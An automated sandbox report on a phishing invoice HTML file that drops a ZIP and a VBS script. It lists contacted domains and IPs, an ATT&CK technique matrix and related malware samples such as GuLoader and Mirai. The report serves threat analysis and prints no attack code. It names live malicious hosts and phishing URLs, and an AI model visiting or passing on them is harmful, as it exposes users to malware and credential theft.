Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	111 Scripting	Valid Accounts	11 Command and Scripting Interpreter	1 Browser Extensions	111 Process Injection	11 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	111 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	1 DLL Side-Loading	1 Extra Window Memory Injection	41 Virtualization/Sandbox Evasion	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	111 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	22 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 File Deletion	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Extra Window Memory Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report faktura_FV2025020660849.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\0[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fxgad0fs.cqe.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o14gwztu.ghd.ps1

C:\Users\user\AppData\Local\Temp\gqoox5ke.wxg\2025020665304.vbs

C:\Users\user\AppData\Local\Temp\unarchiver.log

C:\Users\user\Downloads\dd874d12-8b59-4b0d-98a4-3b7b67550140.tmp

C:\Users\user\Downloads\faktura_FV2025020660849.zip (copy)

C:\Users\user\Downloads\faktura_FV2025020660849.zip.crdownload

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Static File Info

General

Network Behavior

Network Port Distribution

TCP Packets

Windows Analysis Report
faktura_FV2025020660849.html

Source	Detection	Scanner	Label
file:///C:/Users/user/Desktop/faktura_FV2025020660849.html	0%	Avira URL Cloud	safe
https://s4.histatss$%	0%	Avira URL Cloud	safe
https://s4.histats.%	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
filehost200885.info	156.229.228.198	true	false	unknown
s4.histats.com	149.56.240.132	true	false	high
www.google.com	172.217.18.4	true	false	high
_13621._https.filehost200885.info	unknown	unknown	false	unknown

Name	Malicious	Antivirus Detection	Reputation
https://s4.histats.com/stats/0.php?4935988&@f16&@g1&@h1&@i1&@vhttps://histats.com/d_opened	false		high
file:///C:/Users/user/Desktop/faktura_FV2025020660849.html	true	Avira URL Cloud: safe	unknown
https://s4.histats.com/stats/0.php?4935987&@f16&@g1&@h1&@i1&@vhttps://histats.com/s_opened_TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEzNC4wLjAuMCBTYWZhcmkvNTM3LjM2	false		high

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.17.dr	false		high
https://histats.com/d_opened=	wscript.exe, 0000000B.00000002.2831181995.00000000033C1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s4.histats.com/stat8%	wscript.exe, 0000000B.00000003.1164820664.00000000033C0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000011.00000003.1207118522.00000132FF4E0000.00000004.00000800.00020000.00000000.sdmp, edb.log.17.dr, qmgr.db.17.dr	false		high
https://s4.histats.com/stats	wscript.exe, 0000000B.00000002.2832180699.00000000038BA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s4.histatss$%	wscript.exe, 0000000B.00000002.2831181995.00000000033AD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000011.00000002.2834516229.00000132FF600000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s4.histats.com/stas	wscript.exe, 0000000B.00000002.2831181995.00000000033AD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://histats.com/d_openedm	wscript.exe, 0000000B.00000002.2831181995.00000000033C1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://histats.com/d_opened8%	wscript.exe, 0000000B.00000002.2832972295.000000000585C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s4.histats.com/	wscript.exe, 0000000B.00000002.2831181995.00000000033AD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s4.histats.com/c	wscript.exe, 0000000B.00000002.2831181995.00000000033AD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s4.histats.%	wscript.exe, 0000000B.00000002.2831181995.00000000033C1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.1164820664.00000000033C0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://histats.com/d_opened	wscript.exe, 0000000B.00000002.2832180699.00000000038BA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2831181995.0000000003416000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2831181995.00000000033C1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2833317335.00000000059B3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://histats.com/d_opened=%	wscript.exe, 0000000B.00000002.2832972295.000000000585C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s4.histats.com/stats/0.php?4935988&	wscript.exe, 0000000B.00000002.2832180699.00000000038BA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2831181995.0000000003416000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2832180699.00000000038B0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2831181995.00000000033C1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2831181995.0000000003375000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2833317335.00000000059B3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2831181995.000000000340A000.00000004.00000020.00020000.00000000.sdmp	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
149.56.240.132	s4.histats.com	Canada	16276	OVHFR	false
172.217.18.4	www.google.com	United States	15169	GOOGLEUS	false
156.229.228.198	filehost200885.info	Seychelles	139086	ONL-HKOCEANNETWORKLIMITEDHK	false
54.39.128.117	unknown	Canada	16276	OVHFR	true

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1637352
Start date and time:	2025-03-13 14:55:55 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	faktura_FV2025020660849.html (renamed file extension from htm_ to html)
Original Sample Name:	faktura_FV2025020660849.htm_
Detection:	MAL
Classification:	mal96.phis.expl.evad.winHTML@43/18@8/6

Time	Type	Description
09:57:22	API Interceptor	43x Sleep call for process: powershell.exe modified
09:57:23	API Interceptor	2x Sleep call for process: svchost.exe modified
09:57:30	API Interceptor	3557037x Sleep call for process: unarchiver.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
149.56.240.132	SUS.ps1	Get hash	malicious	Unknown	Browse
	https://getwellslogsnowonline.vercel.app/	Get hash	malicious	Unknown	Browse
	https://199.188.109.181	Get hash	malicious	Unknown	Browse
	http://home45insurance.blogspot.com	Get hash	malicious	Unknown	Browse
	http://home45insurance.blogspot.com	Get hash	malicious	Unknown	Browse
	http://manatoki463.net	Get hash	malicious	Unknown	Browse
	https://ff-rewards-redeem-codes-org.github.io/Free-Fire-/	Get hash	malicious	HTMLPhisher	Browse
	https://www.google.com/url?rct=j&sa=t&url=https://saznao.pl/call/xbjbzvnqyv&ct=ga&cd=CAEYACoTMjk5MjE2NTQ2NzQ3ODY4ODc0NjIaNzRmM2RkZTE1NWFkOWUzMzpjb206ZW46VVM&usg=AOvVaw0lq_nCkEN7dcYMIXCg18TL	Get hash	malicious	Unknown	Browse
	https://techwormnea.pages.dev/posts/netflix-games-adds-10-new-titles-this-month/	Get hash	malicious	Unknown	Browse
	https://welcomewinner.com/?action=register&sub_id=RADIASI-CUBLUK	Get hash	malicious	Phisher	Browse
54.39.128.117	https://go-pdf.online/abap-development-for-financial-accounting-custom-enhancements.pdf	Get hash	malicious	Unknown	Browse
	http://beautiful-croquembouche-9e3d8d.netlify.app/	Get hash	malicious	HTMLPhisher	Browse
	http://moremashup.com	Get hash	malicious	Unknown	Browse
	https://links.us1.defend.egress.com/Warning?crId=668c13f0107db9b66b77d74e&Domain=lcatterton.com&Lang=en&Base64Url=eNo1i0FvgyAYQP8NR9FtXpaQhjRNywFNW3TRG6JT6WdhCtL46-elp5eXvDc4Z5dvjEMIUW9MD12kzIT9DIdZOaLRIolDu5J3CcrA5KVax6jbvPNN94jG56_BSgJg_RrM0Fr516J97yVSLTnSU0VHc88FS7PtEXNdfHGtPjLNdtKUD-YzO1dbfb4BF0VS_VzTWvAtn7K1ERYabcsiIL_0hOZrKUOc0OQF7HhfWGyvqlgvF8HifyPiRzE%3D&@OriginalLink=www.google.com	Get hash	malicious	Unknown	Browse
	https://netflixsignupsa.blogspot.com/	Get hash	malicious	HTMLPhisher	Browse
	https://netflix-xfree-watch.blogspot.com/	Get hash	malicious	HTMLPhisher	Browse
	https://freefairemsx2022.blogspot.com/	Get hash	malicious	HTMLPhisher	Browse
	http://cubiclefoorce.com/?action=register&sub_id=LIGE_	Get hash	malicious	Phisher	Browse
	https://claimnow12.finance.blog/cara-credit-union/	Get hash	malicious	Unknown	Browse
	https://restartmmberswebsite.uscreen.io/	Get hash	malicious	Unknown	Browse
156.229.228.198	faktura_FV2025020637756.html	Get hash	malicious	Unknown	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
OVHFR	AAHiVVNIKQESryT.exe	Get hash	malicious	FormBook	Browse	51.222.255.207
	http://observalgerie.com	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	37.59.22.41
	https://saleemitraders.com/wp/confirm.html	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	158.69.25.207
	faktura_FV2025020637756.html	Get hash	malicious	Unknown	Browse	149.56.240.129
	https://sceanmcommnunmnlty.com/xroea/spwoe/zxiwe	Get hash	malicious	Unknown	Browse	91.134.10.168
	http://feirao2025.com.br/consulta/	Get hash	malicious	Unknown	Browse	91.134.60.128
	miori.arm.elf	Get hash	malicious	Unknown	Browse	142.44.221.81
	http://americanlibertywatch.com	Get hash	malicious	Unknown	Browse	91.134.110.137
	WizClient.exe	Get hash	malicious	XWorm	Browse	91.134.10.168
	https://www.dkgroup.fr	Get hash	malicious	Unknown	Browse	137.74.137.164
ONL-HKOCEANNETWORKLIMITEDHK	faktura_FV2025020637756.html	Get hash	malicious	Unknown	Browse	156.229.228.198
	resgod.arm5.elf	Get hash	malicious	Mirai	Browse	156.249.107.21
	cbr.mpsl.elf	Get hash	malicious	Mirai	Browse	156.249.125.168
	nabmpsl.elf	Get hash	malicious	Unknown	Browse	156.229.163.4
	cbr.ppc.elf	Get hash	malicious	Mirai	Browse	156.249.107.93
	armv7l.elf	Get hash	malicious	Unknown	Browse	45.202.74.234
	http://www.car1997.cn/	Get hash	malicious	Unknown	Browse	45.202.81.19
	Hilix.sh4.elf	Get hash	malicious	Mirai	Browse	156.249.107.33
	pXdN91.x68.elf	Get hash	malicious	Mirai, Gafgyt	Browse	156.229.233.170
	gmips.elf	Get hash	malicious	Unknown	Browse	156.229.232.154
OVHFR	AAHiVVNIKQESryT.exe	Get hash	malicious	FormBook	Browse	51.222.255.207
	http://observalgerie.com	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	37.59.22.41
	https://saleemitraders.com/wp/confirm.html	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	158.69.25.207
	faktura_FV2025020637756.html	Get hash	malicious	Unknown	Browse	149.56.240.129
	https://sceanmcommnunmnlty.com/xroea/spwoe/zxiwe	Get hash	malicious	Unknown	Browse	91.134.10.168
	http://feirao2025.com.br/consulta/	Get hash	malicious	Unknown	Browse	91.134.60.128
	miori.arm.elf	Get hash	malicious	Unknown	Browse	142.44.221.81
	http://americanlibertywatch.com	Get hash	malicious	Unknown	Browse	91.134.110.137
	WizClient.exe	Get hash	malicious	XWorm	Browse	91.134.10.168
	https://www.dkgroup.fr	Get hash	malicious	Unknown	Browse	137.74.137.164

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	ngbtiladkrthgad.exe	Get hash	malicious	Vidar	Browse	54.39.128.117
	Bina Tegas Sdn Bhd Voucher Receipts.exe.bin.exe	Get hash	malicious	GuLoader, Remcos	Browse	54.39.128.117
	NDQ211216GM08.exe.bin.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	54.39.128.117
	PO-USH3gS.pdf.pif.exe	Get hash	malicious	GuLoader	Browse	54.39.128.117
	IPt9U27NoX.exe	Get hash	malicious	Unknown	Browse	54.39.128.117
	IPt9U27NoX.exe	Get hash	malicious	Unknown	Browse	54.39.128.117
	justificante de transferencia09454545.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	54.39.128.117
	443_2003_https-df.exe	Get hash	malicious	Metasploit	Browse	54.39.128.117
	443_2003_https-df.exe	Get hash	malicious	Metasploit	Browse	54.39.128.117
	faktura_FV2025020637756.html	Get hash	malicious	Unknown	Browse	54.39.128.117